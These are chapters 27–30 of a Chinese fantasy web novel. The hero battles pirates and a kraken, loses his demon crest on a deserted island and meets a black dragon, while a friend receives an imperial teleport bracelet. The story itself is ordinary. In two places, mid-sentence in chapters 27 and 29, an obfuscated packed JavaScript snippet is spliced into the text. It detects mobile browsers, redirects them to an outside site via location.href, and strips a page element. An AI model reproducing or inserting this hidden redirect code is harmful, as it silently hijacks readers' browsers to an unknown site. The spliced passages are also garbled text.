扎克的喉咙动了动,感觉突然嘴唇很干,连眼睛都有些痛。 “那我还能去看你吗?” “我都不知道我会在哪呢。” “你还会回来吗?” “或许不会。” 扎克站起身,大步走出病房。克莱希仍靠在枕头上,她仰起头,看见窗外日光明媚,白云飘扬,鸟群倏忽飞过青空。 27. 27-黑暗的凝视 格劳斯·耶格尔从黑暗中睁开眼睛,他看见天空、海洋,浮在海上仍散不掉的血沫,还有眼前的,手忙脚乱的人影。 格劳斯怔怔地看着卡伦卡特把男人的尸体从自己的手中拖出去,他低下头,看见金刚的身体已经僵硬,男人浑身皮肤发青,眼球突兀,已被活活绞死。其余的海盗也已基本失去还手之力,不是死了,就是被捆起来,被关进船舱里。 格劳斯的意识终于清醒回来,那种如野兽般杀戮后的兴奋感消失了,只留一阵阵后怕和恐慌。他不安地问:“卡伦卡特,我刚刚……咬下去了吗?我把那个人……吃了?” 黑皮肤的暗精灵抬起头。 “没有没有!虽然你咬下去了,但是我们大伙一起上,把尸体又从蛇口里拖出来了……你不知道有多费劲!” 卡伦卡特摸了一把脸上的汗,“如果你真的吃了,会怎样啊?” “我不知道。”格劳斯喃喃地说,“从纹章中清醒过来越来越难了。我感觉我的身体在变得越来越像野兽,平时生活的时候,还有杀人的时候……”格劳斯的目光又瞥了一眼海上浮动着的,一块一块的死去的海龙鳖的肢块,突然感觉胃里传来一阵悸动,好像某种空虚的渴望在自己体内催促着自己去吞噬什么。格劳斯自己还在恍神,而在卡伦卡特眼里,就是这个刚刚化为黑蛇的青年突然面露凶光,看向自己的眼神再一次变得陌生。 “喂喂!你看好了,我可是同伴啊!”卡伦卡特摇了摇格劳斯,“你不会把我也吃了吧?” 格劳斯咽下突然涌上嘴里的口水,他站起身,自己身上的伤口又一次全都好了,而月光号的现状则变得有些惨不忍睹:甲板上有多处破损,在海盗船刚刚撞过来的时候,船身也有些进水了,现在正在抢修。而卡伦卡特、藤森船长则基本身上挂彩。 “船长,”格劳斯问,“遇到这件事,你还要继续南下吗?” 藤森思考了一下,然后说:“我等会清点一下这次战斗的损失。如果严重的话,我们就先开往最近的港口,做一次补给。” 格劳斯捡起绷带,重新把自己手背上的黑鳞缠好。然后问:“你这艘船上,还有小艇吗?” “你要下船?”藤森吃了一惊,“虽然战斗很惨烈,但是因为你,我们才能幸存啊!如果你担心,我可以现在支付你。” 格劳斯摇摇头。“不是钱的问题。但是我确实不能继续呆在船上了,因为我随时可能会……发狂。” 他环视了一圈,这艘船上血腥味太重,格劳斯感觉自己胃里涌动的欲望越发强烈。他把手收到背后。 船长问:”你什么意思?” 格劳斯往船舷的方向看了一眼。 “您给我根绳子,让我把小船系在这艘货船后面,我平时就呆在小船上。如果有事情,可以让卡伦卡特叫我。现在我的状态太不稳定,等夜幕降临,我的情况可能会变得更严重。” 格劳斯补充道:“如果我发狂了,你们就剪断绳子,这样没有人会受伤。” “那怎么行!那你就一个人漂在海上了!” 格劳斯微笑了一下。 “没事。只要有食物,我就不会死的。就算一直在海上,总有一天也会被人救起来的吧?” ·· 从结果的角度看,接下来的三天,基本平安无事。因为战斗结束的很快,这次袭击的损伤很低。但是船长出于保险起见,而是决定提前让船靠岸,将物资全部在下一个港口卸货。 格劳斯懒洋洋的躺在两三米的小船的船舱里,海水波涛起伏,小船也摇摇晃晃,日光过于刺眼,照得他也有些疲倦,索性枕在船里打盹。他逐渐在白天休息,在太阳落山后清醒;从上次战斗以后,他开始喜欢生的食物,有时候一些倒霉的飞鱼跳进船里,就被格劳斯捡起来咔吧咔吧吞了。格劳斯不知道自己这个状态是好是坏,如果自己一直这样下去,再使用纹章的话,身体会变成什么样子?要是内特在就好了,他肯定什么都知道,什么都不用担心。 格劳斯虽然眯着眼睛假寐,但他的听力和嗅觉却时刻处于巅峰,他能根据声音判断海鸟在天空中离自己的距离,也能听见十几海里外,鱼群跃出水面时搅动波涛的声音。他能感觉非人的、异常的力量在自己的皮肤下涌动,那恶意和破坏的欲望准备随时破土而出,像一个潜藏在人类皮肤下的恶魔。 小船底下传来轻微的波动声,像小气泡在水面破碎时的声音。格劳斯坐起身,往船下看了一下,吓了一跳:只见在与月光号齐平的海面处,赫然是一个巨大的深色影子,身上带着数十条平行的明亮花纹,巨影随海水上下波动,好像一条十几米长的大鱼在与月光号平行游动着。格劳斯仔细看了一下,发现只是阳光透过船身照在海上的阴影,那十几道平行的光斑是船身自己的栏杆映出来的,才稍稍松了口气,重新坐回木船里。 太阳慢慢落山,夜幕降临,星星闪烁在天鹅绒般的银河上。 格劳斯正躺在船上出神,突然听见咚的一声,一个黑色的影子从船身里钻出来。 “今天过得怎么样,格劳斯?”卡伦卡特钻出来,他的身上还带着果木和啤酒的香气。格劳斯皱皱眉毛:”你们在吃大餐?” “烤了鱼!为了庆祝今天终于把船打扫一新,船长还开了啤酒请我们喝!”卡伦卡特眉飞色舞地说,掏出一杯快溢出来的啤酒。 “侬!这是你的!” “谢谢。” 格劳斯接过酒,这还是他第一次喝酒,酒的味道有些辛辣,喝到肚子里,最初有些刺激,后来感觉胃里暖烘烘的。 卡伦卡特便一屁股坐到格劳斯对面,自己端着一杯,边喝边问:”格劳斯,你的纹章是什么能力?我从没见过这样的。” “这是恶魔纹章,算是兽纹章的一种。”格劳斯说,”我能够变成狮子、羊和蛇三种复合形态的动物,也会有不同的能力。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502516|186016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “真酷啊!”卡伦卡特绿眼睛亮闪闪地说,”我的影子纹章呢,可以在黑暗中穿梭,也可以保护我免受任何黑暗中的攻击。” “只要是黑暗中,哪怕很远的距离,你也可以到达吗?” “那倒不行。”卡伦卡特抹了抹嘴,”我的移动范围大概是几米。我的兄长可比我厉害多了,可以在黑暗中潜行上百米呢!” 或许是喝了酒的缘故,格劳斯感觉头脑晕晕乎乎的,一股烦闷压抑的情绪在胸口涌动着。他在海上飘荡太久了,这里如此宽广,可属于他的空间却那么小,他没办法呼吸,甚至卡伦卡特在他眼里也不再是熟悉的脸,而是一片流动的黑色影子,只有陌生的绿色眼睛闪耀其中。 他或许……不该选择这里。他听说,在与这里不同的,更西北的地方,那里是辽阔无尽的草原,怒号呼啸的野风,或许他该去那里,只有那里才足够自由,让他能够呼吸。 “卡伦卡特……”格劳斯皱着眉头问道:”你和所有的暗精灵,全都是影子纹章?” 卡伦卡特摇摇头。 “那种事怎么可能?在暗精灵中,持有纹章的人也是百里挑一。像我们家,仅有我和我大哥觉醒了影子纹章。只不过凡是暗精灵,大家都是影子纹章罢了。” “这是为什么?” “我猜,或许是我们的力量都来自于最初的暗精灵,传说中的黑夜女王、影之国的主宰者——辛西娅。她的力量时至今日,都在祝福着我们。” “这样说来,你的能力也是很稀少的啊。”格劳斯问道:”既然如此,为什么你会沦落到把自己卖了?” 卡伦卡特露出有些尴尬地神情。 “这个……一开始不是这么计划的。兄长他们都很少来人类的社会,都说这里不适合我们。但是我觉得……呃……” “你觉得自己能在人类的王国混出名堂来?” “对啊!我用自己的能力跑去送货物,很轻松就能赚钱。结果,不知怎么回事,我有一次任务失败了,他们把货物的损失归到我头上。我一下子欠了很多钱!简直负债累累!” “这样啊。那你的家人们不管管你吗?” 卡伦卡特摸了摸鼻子,”我出来的时候,和家人有些闹僵了,总之,他们还没来赎我,我就先被船长买下来了。” 格劳斯沉默下来,他正在思索,突然感觉一阵发冷,好像一股寒风吹过全身。卡伦卡特跟着打了一个寒颤。 “奇怪,难道是降温了?我还是回船上吧。”卡伦卡特站起身,裹了裹衣服,格劳斯却突然拉住他。 “怎么啦,格劳斯?难道你终于想开了,想和我一起去船舱里睡?” 格劳斯没有说话。他的手指指了指,卡伦卡特顺着他指的方向看去,眼前是映照着月光的大海,格劳斯的小船,漆黑的海水,还有月光号的货船下,那个即使在黑暗中也怪异明亮的,如灯笼般的黄色眼睛。 28. 28-我身如影 在那漆黑如雨的海面下,映照着一只如此冰冷巨大的黄色眼睛。它在如此黑暗深邃的海面下晃动着,就像一只摇摇晃晃的灯笼,可它的冷光又是如此明亮,格劳斯甚至能看到在它的映衬下,夹在眼睛和海面之间快速游动的细小鱼群。 风吹浪动,那只眼睛也随着摇晃起来,好像在离小船越来越近,它的其余部分仍隐藏在更深暗的水中,只有眼球旁边一圈圈的细长的红色血丝在海水中飘荡,黄褐色的瞳仁无机质的望着他、又或许只是在无意识的看向任何东西,可是凝望那一层层想更黑流淌深入的瞳仁,格劳斯便感觉一阵阵更强烈头晕。 “格,格劳斯……”卡伦卡特牙齿打颤的问,“我们该怎么办?那是克拉肯吗?我以为它从不在晴天出来……” 或许是因为晴天见过克拉肯的都死了。格劳斯郁郁地想,月亮已经被黑云遮住,天上天下都已是一片漆黑,只有海水还有几丝粼粼波光。若不是格劳斯有堪比野兽的五感,能在黑暗中视物的野兽眼睛,这样的环境恐怕也只能坐以待毙了。 “你的影子纹章,”格劳斯问,“能带我们逃跑吗?” 卡伦卡特快速估计了一下。 “二十米是极限了。因为货船太大了。可是,就算那样,克拉肯也会一下子追上我们。” 不等格劳斯思考该如何应对,只听哗啦啦出水的声音,两条有成年人躯体粗的巨大触须已经从海水底下伸出,快速地伸向货船。 格劳斯深吸一口气。 “先别冲动。”他说,“无论发生什么事,卡伦卡特,答应我。你要保护在船长身边。” 话音未落,格劳斯从自己的小船上一跃而起,越过几米的空间,他已经单手扒到船舷上,随后踢起一支搭在甲板上黑铁鱼叉,只听嗤的一声,鱼叉呼啸着破风之音穿过黑暗,刺进怪物的一只触足。 一声刺耳的宛如牛吼的尖叫声从海水下传来,几乎让人鼓膜都涨破。怪物吃痛的收紧那条被刺穿的触足,它的另一条黑红色的触须狂乱的拍打起来,搅动海水,让货船摇晃不停。格劳斯悬在半空中,单手抓着船帆上垂下来的缆绳,不让自己被甩到海里。莱森船长等人也已经听见动静冲了出来,见此情景,都大吃一惊。 又有六条巨大粗壮的触手从海底伸出来,怪物睁开了它先前闭上的六只眼睛,此刻格劳斯终于看清了,卡拉肯有七个巨大的、圆形的环状眼球,黄色的眼仁里是无数条细小的红色血管,它们嵌在肉粉色的裸露皮肉内,像一只倒过来的巨大八爪章鱼。它的八只黑色触手除了先前受伤的一只,另外三条已经从船底缠上船身,另外又有几条掀起巨浪,彷佛一只巨手要把一切从甲板上卷到海中。 有一些船员已经拿起了鱼叉,在摇摇晃晃的穿上,他们根本看不清海怪的动作,胡乱的戳刺着。卡伦卡特则让自己浑身由黑影缠绕,每当有人被从穿上甩出去,他就嘭地一声潜入黑暗中,又把那人拽回来。 “你们都别出来!回去,回去开船!” 格劳斯朝甲板上的人们们大吼道,漆黑寒冷的海水一波一波的拍在他的脸上,彷佛瓢泼大雨。可是他的声音很快被风卷走了,格劳斯无法再顾及船上的人,他胡乱的擦了一把脸上的头发和海水,随后看向仍直立在半空中的,如黑色的巨蛇版狂舞的几人粗的黑色触须。 爪子从格劳斯的皮肤下伸出来,他的眼睛瞳仁转细,变得如野兽般凶狠。黑色的鬃发从他的棕发下伸出来,他的骨骼拉长,发出咯吱咯吱的变形声,变成一头体覆黑色鬃毛,只有四足和瞳仁泛白的巨大狮子。格劳斯双腿发力,接近两米长的狮子已经跃到一条触手上,海怪的皮肤上有一层滑溜溜的粘液,其下是半透明的鳞片。狮子白色的爪子发力,把眼前的触手撕破一条粗长的伤口,鳞片血肉横飞,怪物吃痛,受伤的触须扭动起来,但是狮子紧紧勾在这条触须上,任凭它怎么摆动,都牢牢扯着伤口,甚至借着这样剧烈的动作,把这条口子扯得越来越大。 那声如牛吼的尖叫又从海底阵阵传来,格劳斯注意到,克拉肯先前受伤被鱼叉刺穿的触须收回海里,现在重新出现,上面的伤口已经完好无损。不过短短几十秒,克拉肯的伤口就已经愈合了。 难道它的伤口能在海水里痊愈吗? 格劳斯扯着一条触须,狮子的个体终究太小,克拉肯的触手发力,便要把狮子一同卷进海里。在这条黑红色的触手要缩回海里的前一刻,格劳斯松开爪子,借力荡到另一条触须上。他四下撕扯,一人与两三条触手缠斗着,可是这样还不够,他往船的方向瞥了一眼,只见另外四条海蛇般的触须也已经席上货船,其中一条卷住桅杆,船桅发出嘎吱嘎吱的声音,仿佛一根被扯满的弓。 格劳斯心中大骇,船的桅杆如同人的双腿,倘若桅杆让这个怪物扯断了,就算他们能从怪物的手里逃脱,也绝不能从海上活着回到陆地。 格劳斯心中焦急,却无暇分出身,眼看着桅杆发出咯咯的声音,就在他以为船桅要被克拉肯硬生生掰断时,只见一片黑色的阴影如潮水般覆上那条触须,卡拉肯正在发力,突然感觉触须一痛,那条十几米粗的触手已被影子如刀绞般锁紧,下一秒,只听咔咔几声尖响,那触手上的皮肉被剥得血肉模糊,甚至露出了里面白色得一节节骨头。 “咳……我,我本想搅碎它……” 卡伦卡特摇摇欲坠地站在桅杆下,他脸色苍白至极,浑身冒出大大小小的伤口,但是还没有失去意识。他用一只手扒在那条被他割的血淋淋得触须上,让影子纹章缠住这条触手,不让克拉肯把它收回去。 海面下,那条先前被格劳斯割伤的触须正像一条阴暗的黑色海蛇般游动着,一串串白色的泡沫从那条几 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预料之中的船身破碎、船毁人亡的景象并没有出现,那条触手穿过船身,刺入一大片阴影,仿佛陷入一片黑影的沼泽中。卡伦卡特浑身黑气缠绕,脸色苍白如纸,身上的伤口迸裂,他再也抓不住桅杆,掉到甲板上。 “它,它太重了!而且,感觉不好——”卡伦卡特哇地一声呕出鲜血,再也维持不住影子纹章,克拉肯趁此机会,猛地把两条伤痕累累地触须从黑影的缠绕中扯出来。月光号船身剧烈摇晃,就是这一刻,竟和怪物分离了些许。 格劳斯任黑色的蛇鳞从自己的皮肤下刺出,他缠住离得最近的一条触足,黑蟒顺着这条触手向下游动,可以看得更清楚了,克拉肯那巨大的、过于明亮的黄色眼睛,七个眼球透过半透明的眼白,无机质的看向格劳斯。黑蟒绞紧了自己缠绕的那条触须,他当然没办法把这条触须绞断,或者就算能限制它的移动,它剩下的五条触手也很快就能抓住月光号,把它拖入海中。只要在海里,克拉肯就不会死亡。 没关系,只要这样就好。他只要能抓住克拉肯……让它无法脱离自己就好。 “就是现在!”格劳斯叫道,“走,卡伦卡特!” “不行!你会被留在这的!” 卡伦卡特歇斯底里的叫道,“你太远了,快回来!” 不,已经没有办法了。无可奈何,只能这样做。 格劳斯望向克拉肯那巨大的,宛如深渊巨兽般的眼睛,它的瞳孔漆黑,望不到底,即使大半部分身躯已经化为黑蟒,格劳斯仍感觉心神一阵恍惚。他只能想到这个办法,让大家逃跑,克拉肯又不会追上来的办法。如果他更加强大、更加聪明,或许能做的更好吧。 骨骼生长、羊角破皮而出,发出令人毛骨悚然的咔咔声。格劳斯凝视着海怪的眼睛,他的瞳孔泛起白色的雾气,宛如恶魔的方形眼仁从白雾中浮现。他的额头上,一对螺旋扭曲的黑色羊角缓慢伸出。 来吧,让我看看,恶魔和海怪……谁更胜一筹? 29. 29-起源 · 格劳斯的额头长出螺旋扭曲的恶魔之角,他的眼睛骤然变成方形瞳孔,看向海怪克拉肯的黄色眼睛。‘恶魔之视’,可以对被凝视的对方造成精神攻击,格劳斯曾凭借此能力攻破战争天使纹章,又让大力金刚陷入恍惚和痛苦。但是,对于这种接近百米长的、全盛期的,甚至可能不存在思考的怪物克拉肯,格劳斯不知道会有什么效果。 一霎那,彷佛有一千万只水蛭从自己的大脑皮层穿过,滑腻、粘稠的感觉搅动着格劳斯的脑海,格劳斯额头的羊角应声而碎,黑色的血液从他的眼眶中流出来。一圈圈白色的纹路顺着他的额头爬满他的全身,他的身体快速变化着,一层层白色的鱼鳞从皮肤下层长出,又被黑鳞覆盖,又再次迭代,好像两个意识在争夺这具身体的主权。而格劳斯只感觉自己仿佛如坠冰窟,他听不见、也看不见了,他陷入冰冷和黑暗的浓郁浆体中,他的手指和精神都好像不再属于自己,当他试图动一动自己的手指,他的精神只探知到一片漆黑的虚无。 与此同时,海水倒灌,咸腥的海水充斥了他的口鼻,格劳斯被海怪的触手带着撤往深海,在快速下坠的过程中他感觉到海水压迫着自己,天空和世界离自己远去,而无数只黄色的眼睛彷佛光斑般在周身的黑暗中注视着他,那或许是幻觉、又或许是真实,他已经分不清。他张开嘴,呼不进空气,失重的眩晕笼罩着他,挤出他肺里最后的空气。 大量零碎的片段也随着那一刻涌进他的脑海。暗无天日的海水,毫无味道的进食,无数同类的争斗屠戮,无意义的成长。直到那一天——在黑暗的最深处出现的,仿佛一股冷光刺破骨骼——女性的手臂伸向它,手指冰凉,指甲尖锐。粉色的卷发颤动,珠光粼粼。——它的主人。 克拉肯庞大的身躯在海水深处潜游着,借着潮汐与海流,转瞬之间已不知前行了几千米。格劳斯也被发狂的海怪卷着,他的身躯在这过程中变化着,时而是恶魔,时而是身披鳞片的海怪。格劳斯无力挣扎,任凭海流颠簸、忍受五脏六腑都要被压碎的气压,直到彻底失去意识。 啊……以为自己不容易死去,就拿‘恶魔之视’凝视克拉肯的眼睛这种事……还是,太乱来了。 ·· 海水奔涌,狂风呼啸。可是风暴终究会止歇,太阳再次从云层中露出光芒。 当格劳斯重新找回意识,他先是被过于明亮的白光刺的睁不开眼睛。然后他发现眼前是一片铺满白沙的小岛,许多贝壳、树枝,同自己身上缠着的海草一起,被海水不断地冲到岸上。 格劳斯费劲地把自己从沙地里撑起来,头晕目眩,接着哇哇地吐了好几口海水,才算是清醒了一些。 我这是被冲到哪里来了? 格劳斯纳闷地想,他的鞋子早就在先前的战斗中就不翼而飞,只能光着脚,在沙地里一脚深一脚浅地往上爬。突然,格劳斯感觉脚掌一痛,不知何时自己踩到了一块从沙子里凸出的岩石,把脚划破了。红色的血立刻从伤口中流出来,格劳斯龇牙咧嘴的踮着脚,一瘸一拐的爬到沙滩的边缘,走到湿润的土地上。格拉斯摸了摸划破的伤口,血还在慢慢地往外渗,他的动作突然僵住了。 不会吧…… 格劳斯又把手摸向额头,他的额头光滑平整,只有湿漉漉的棕发,再没有一丝一毫羊角的痕迹,甚至连曾经断裂的入骨之痛,也好像一个曾经的梦。 不、不会吧!格劳斯恐慌的握紧拳头,又再次张开,他的人类手臂也依然毫无变化。他的两只手、还有他的皮肤同样光滑平整,而在不久之前,他的手背上已经是黑鳞丛生,冰冷坚硬,甚至感觉不属于人类。 他的身上因为使用纹章的异变消失了,他没有非人的鳞片,爪子,额头上也不再长出恶魔的角。他不再感觉到胃里那股涌动的,渴望吞噬血肉的欲望——他也不能再让羊角从头骨中长出,或者变成黑蛇与狮子了。 他的恶魔纹章消失了。或者说失效了。 不,怎么会发生这种事啊! 格劳斯崩溃的大叫,他在沙滩上来回走动,脚底的疼痛让他的情绪更加焦躁。他好不容易,好不容易才得到的纹章,明明为了这个力量,甚至背负了弑君者的罪名,只能从亚斯提都被赶出来,甚至还莫名其妙的被——可能是内特的老爸——杀掉了一次……虽然使用这个力量的过程中,也给他带来了很多麻烦,但是格劳斯从没想过有一天会失去它啊!或者,至少不要在这么要命的时候,自己手无寸铁,被扔到这个杳无人烟,荒僻倒霉的小岛上的时候啊! 格劳斯找了个大石块,垂头丧气的坐下来,他无可避免的感觉有些忧郁,格劳斯今年十八岁,还是第一次经历这么大的打击。 格劳斯没精打采的坐了一会,觉得自己不能继续坐以待毙,虽然自己失去了纹章能力,但是也不能就这样等死啊!以前没有纹章能力的时候,独自在外面打拼,不也这么过来了吗?现在虽然是身处一个陌生的环境,但是不过是就像以前一样,谨慎、积极的面对,说不定会有转机呢? 格劳斯想到这里,又重新打起精神。他看了看脚上的伤口,自己总是东跑西颠,伤口愈合的很快,已经差不多止血,格劳斯的情绪终于好转了一些。他也不是第一次光脚走路了,脚上的疼痛也没有那么难以忍受。接着捡起一根比较长的木棍,把它的端头在岩石上磨了磨,削成一根比较尖的棍子,握在手里。 格劳斯再次打量起身边的环境,凭借太阳的位置,他大概处在小岛的东南方。顺着潮湿的土地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502518|186016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往更深处走,是一片茂密的树林,藤曼缠绕,幽静深邃。不了解前方的情况,格劳斯不敢贸然走进密林中去,他握着木棍,一边沿着海岸线,慢慢的环绕小岛往前走。 为了节省体力,格劳斯走得并不快,饶是如此,他也走了两个小时,才刚刚走过密林区。太阳已经挪到正午,炙烤的沙滩有些过于灼热,简直让人难以忍受。格劳斯走得口干舌燥,汗水流过沾满沙子的皮肤,灌进嘴里,感觉咸咸的。 不过,这两个小时的走路不是白费的,格劳斯擦了一把脸,树林消失后,顺着逐渐稀疏的密林看过去,眼前是大片低矮的灌木丛,这些青绿色的灌木丛紧紧扒在岩石层上,它们一路往上,然后是一座起伏的小山。这座小山先前被树林遮住,格劳斯完全没有看见。他振作起精神,倘若爬到山顶,借助山的优势,就可以看清这座小岛的全貌了! 格劳斯鼓起劲,把木棍用藤条背到背上,手脚并用,抓着小苔藓和灌木,沿着有些陡峭的山崖往上爬。越往上,小山上的植被就越稀疏,甚至有许多灌木光秃秃的,其上发黑,呈现出烧焦的痕迹。格劳斯心中有些困惑,仍脚步不停,爬到半山腰的位置,突然看见有黑色的岩石在山顶上闪闪发光。 格劳斯绕过一个山腰,眼前豁然很开朗,映入眼帘的是一座由黑色花岗岩砌成的巨大石堡,它坐落在山顶,钟楼耸立,廊桥相连,其楼阁雄伟壮阔,虽日夜遭海风侵蚀,外型有些破损,仍巍峨挺拔。格劳斯可以看见镶嵌在楼宇中半损的百叶花窗,已经断裂的,只剩几节台阶的楼梯,爬山虎和山藤已布满它的门楣,好像百年时光已逝,只剩这座古堡,同此间的辉煌一并停留。风从黑色花岗岩的缝隙中间穿堂而过,呼啸尖锐,好像在呜呜的哭泣。 那是一栋让人看见就不会遗忘的,黑暗的堡垒。 格劳斯把木棍从背后拿下来,握在手里。古堡正门的铁环已经损坏,木门被海水侵蚀腐烂,即使他还未走进,就嘎吱嘎吱的被风吹着朝里打开了。透过光线的一角,格劳斯可以看见门的背后是一条满是灰尘的长廊,通往更远处的正厅,但正厅的空间极高,十几米高的大理石柱如巨人般站立在两侧。 格劳斯正欲推门而入,突然听见头顶传来一阵陌生尖锐的叫声。格劳斯感觉浑身一阵发冷,他立刻朝远离正门的方向后退几步。那个怪物原本盘踞在塔顶的阴影处,因为自己要进入城堡才振翅现身。 格劳斯看见黑影从城堡最顶端的塔楼翩旋而至,它长着黑色的巨大双翼,全身头尾接近五米,四足有力的落在地上。它发出吼叫时,声音如雷贯耳,它的头部生一对坚硬有力的黑角,吻部较宽,格劳斯可以看见它吐息时锋利的牙齿。 一条黑龙,它红色的眼睛正警觉地盯着格劳斯。 30. 30-礼物 在内特的梦里,那个银色的身影总是如此的,亲近、模糊。轻柔,又像白色的羽毛。当她拥抱他时,那感觉好温暖、好快乐。 “你看,那就是——天上的乐园。” “乐园?” “是我的秘密基地哦。很棒吧?以后,那里也会是你的家。” “我还没答应要留下来呢。” —— —— 即使只有只言碎语,那些曾经的句子也像星光般闪过内特的脑海。可是每当他睁开眼睛,梦里的一切又会霎那间潮水般退去,不管怎么努力都回忆不起来。于是内特越来越长时间的睡觉,休息,□□上的伤口反而是小事。 —— 她总是闪闪发亮的,模糊不清的,银色的星光为她披装。她亲昵地坐在自己身侧,又是那样,对着自己这个位置的另一个人说话着。 “听说你要走了,是真的吗?” “谁说的?” “唔,他们都说……说你伤好以后,就要走了。” “事实上,我正准备向你求婚。” “咦?!我,我吗——” 虽然看不清样子,内特却感觉她笑了。笼罩着她的光晕变得温暖,连带着她身上的光泽,都变得更加明亮。 “是吗!谢谢你,赖兹瑙。让我的愿望,又实现了一个——” —— —— 内特瞪大了眼睛,彷佛心脏被锤中一击。 他正要在一探究竟,突然感觉眼前一片模糊,这片梦境霎时间远去,他彷佛从深水里被人捞出,内特晃了晃神,看见眼前是一张有些婴儿肥的男生的脸。 “内特!你也太能睡了吧?“扎克闹闹哄哄的说,”我说,都两个星期了,你就一直这样一个人躺着?我不来找你,你就一直睡下去?“ 内特揉了揉眉毛,”你太夸张了,扎克,哪有那么久。你别管我,我还要再睡一会。“ 扎克一把抓住内特,不让他再躺下去。 “别啊别啊!主教说你的伤早好了,只是一直不好意思把你请出去——走吧,起来吧!“ 内特不情不愿地从床上爬起来,他坐起来才觉得浑身非常无力,因为太久没有起来,连肌肉都有些萎缩了,一下子竟差点摔到地上,扎克扶住了他。 “我竟然真的一直躺在床上?“内特喃喃问道。 “是啊!真是怪吓人的。以前你三天不出门就大呼小叫呢。“扎克说,看见内特重新有了精神,高兴起来。”我们去皇宫吧?其实是大将军想见你来着,让我来找你。“ “老师想找我?“ 内特抓了抓头发,把自己重新打理干净。等两人一前一后走进陛下的血色长廊,正在窃窃私语的众人不约而同地停下交谈,看向他们。扎克剪褐色短发,身材结实,穿灰色的军官外套,干净利索;内特穿黑色底衣,简单的罩一件白色长衫,身材颀长,披着银色的头发,虽然大病初愈,看起来有些倦容,但更显得容貌俊秀,让人过目不忘。 “内特!大明星——大家都在等你呢。“议员小拉赫·克劳狄笑道,她旁边的巴萨夸赞道:”还未来得及恭喜你在竞技场获得冠军,真是虎父无犬子。“ “看到公子完全康复,我也终于放下心了。”皮尔斯主教说,“公子之前受伤不轻,着实让我们捏了一把汗。” 路过特里同中将时,特里同看了一眼扎克,往旁边错了一步:“内特成熟稳重,扎克,你该多向他学习。” 扎克吐了吐舌头,站到自己父亲旁边,留内特一个人走到皇帝面前。庞贝仍戴着黑铁为底,红宝石镶嵌,黄金勾勒的王冠。他的金发像黄金般耀眼,披着白色的绒毛大氅,他的父亲和将军分站在皇帝两侧。 “内特,睡的怎么样?”赖兹瑙微笑着问道。 “休息的很好。谢谢爸爸。”内特说。 “内特!总听说英雄出少年,在竞技场上看到,才真是大开眼界。”庞贝说,“你得到了冠军,有什么想要的赏赐吗?” “呃,我只要能为陛下分忧——” 庞贝歪着头想了想,突然高兴地说:“我有个建议。既然他的空间纹章这么出色,就赠送他同属于空间性能的‘天使之吻’怎么样!持有这个道具,即使是他没有去过的地方,它也能将他传送过去。” 听到这句话,赖兹瑙的目光晦暗不明的看了庞贝一眼,但是没有说话。 “陛下,‘天使之吻’是最高级的空间道具……持有空间能力的大精灵,这么多年来,我们也只杀死过一位。”小拉赫·克劳狄说,“用他的颈骨制作的道具,交给内特会不会太冲动了?” “就是因为珍稀,才更要给需要的人啊!”庞贝说,“对内特来说,这不是如虎添翼吗?” “陛下,王国仍存在很多危险地区,让内特随意出入不妥吧。”海森堡说。 “会去哪里,内特自己决定,我将给予他‘皇帝特使’的身份,允许他自由进出的权利。” 庞贝看向宰相,“大臣,您怎么看?” “当然是席听陛下尊便。”赖兹瑙说,“能得到陛下器重,是内特的荣幸。” 海森堡提高了音量:“赖兹瑙,他可是你的儿子。” “在他是我的儿子之前,他更是他自己。”赖兹瑙说,“愿意接受‘天使之吻’,成为皇帝特使,为陛下尽忠吗,内特?” 内特仰起头。 战争天使是靠杀戮来获得力量的。庞贝自然也是如此。格劳斯这样警告过他。 “当然,我不胜荣幸。”内特说。 庞贝高兴地笑起来,叫人取出一枚手镯。 “最多使用三次。”庞贝说,“不然它就会坏了。“ ·· 内特一直在大厅外站了三个小时,直到会议结束,众人鱼贯而出。他没看见爸爸的身影,或许他从另一侧的通道出去了。内特低下头,把玩手腕上的镯子,天使之吻的质感很轻盈,完全感觉不出是骨头的材质。当他试着把自己的空间之线注入进去,镯子就会亮起来,内特能感觉身体也变得充盈起来,好像自己的空间之线可以无穷的伸展,甚至延伸到天际。 “内特,你在这,”威斯汀·海森堡走到他面前,他披着白色的袍子,里面穿黑色的铠甲。他灰色的眼睛扫了一眼内特,“还在玩这个新道具?” “我在研究它传送我的原理。”内特说,“听说您要找我,老师?“ 海森堡点点头。“跟我来。” 两人边往外走,海森堡边问到:“你的伤口恢复的怎么样?” “已经全好了,皮尔斯主教神医在世。” 海森堡哼了一声,“他也只有医术过得去了。” 海森堡接着说:“我之前去看过你一次,但是你一直没醒。” “是、是吗?我怎么不知道?” “你睡得可够沉的。” 海森堡没有再继续那个话题,“你对翼龙了解吗?” “我当然知道!翼龙军团是爸爸以前参与过的,帝国最强的飞行单位!翼龙也是独属于我们人类的飞行载具,骑乘翼龙出行曾在十多年前风靡,但后来规定除了军队,个人不再允许饲养翼龙了。” 海森堡不置可否的嗯了一声。内特小跑着跟在海森堡后面,忐忑不安地问:“老师,您叫我出来,是跟翼龙军团有什么关系吗——?” “科尔希望你加入翼龙军团。”海森堡说,“你父亲带你去过翼龙谷吧?” 内特点点头。他抓住海森堡的小臂,银色的线条如花纹般浮现在两人身上,如月光般环绕,下一秒,两人便倏忽消失。 ··· 